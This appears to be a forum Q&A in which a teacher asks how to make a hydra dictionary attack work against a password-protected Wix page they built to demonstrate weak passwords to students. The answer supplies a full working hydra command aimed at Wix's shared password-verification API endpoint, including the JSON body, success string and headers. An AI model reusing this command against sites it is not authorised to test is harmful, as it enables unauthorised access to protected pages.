Linux hydra command - cracking a simple password

Question

I am trying to write a linux command to get into a Wix website I have created and put a password on. I have created the webpage to specifically show my students how easy it is for a hacker to crack a simple password, and hence the importance of strong passwords.

The website I have put the simple password on is https://missyjezabel.wixsite.com/my-site

I have written the following command to crack the password. Unfortunately, although it runs, it does not give the correct password.

hydra -l '' -P password.txt missyjezabel.wixsite.com http-post-form "/my-site:value=^PASS^:Please enter the correct password." -V

Any ideas of how to get it to work?

Answer 1

hydra -l '' -S -V -I -P password.txt site-pages.wix.com http-post-form"/_api/wix-public-html-info-webapp/resolve_protected_page_urls?siteRevision=3:{\"password\"\:\"^PASS^\",\"pageId\"\: \"tuckg\",\"metaSiteId\"\:\"5a94dc92-9e0c-477d-81cd-d61fedbb8731\",\"siteId\"\:\"8afe215c-3003-4e5d-a0ec-bf2f36925a5c\"}:S=\"success\"\:true:H=Origin\:https\://missyjezabel.wixsite.com:H=Accept\: */*:H=Content-Type\:application/json"

The site reaches out to an API endpoint that uses a different address to verify that the password matches with the given site-id:

site-pages.wix.com/_api/wix-public-html-info-webapp/resolve_protected_page_urls?siteRevision=3

Target that site with correct JSON params:

{\"password\"\: \"^PASS^\",\"pageId\"\: \"tuckg\",\"metaSiteId\"\: \"5a94dc92-9e0c-477d-81cd-d61fedbb8731\",\"siteId\"\: \"8afe215c-3003-4e5d-a0ec-bf2f36925a5c\"}

If the password is correct the response contains a "success":true json field.

S=\"success\"\:true

And some necessary headers to include in the requests:

H=Origin\: https\://missyjezabel.wixsite.com:H=Accept\:
*/*:H=Content-Type\: application/json

As of a dictionary attack, the password.txt must contain the valid password otherwise it will fail. For the given scenario I would recommend a short manually created list.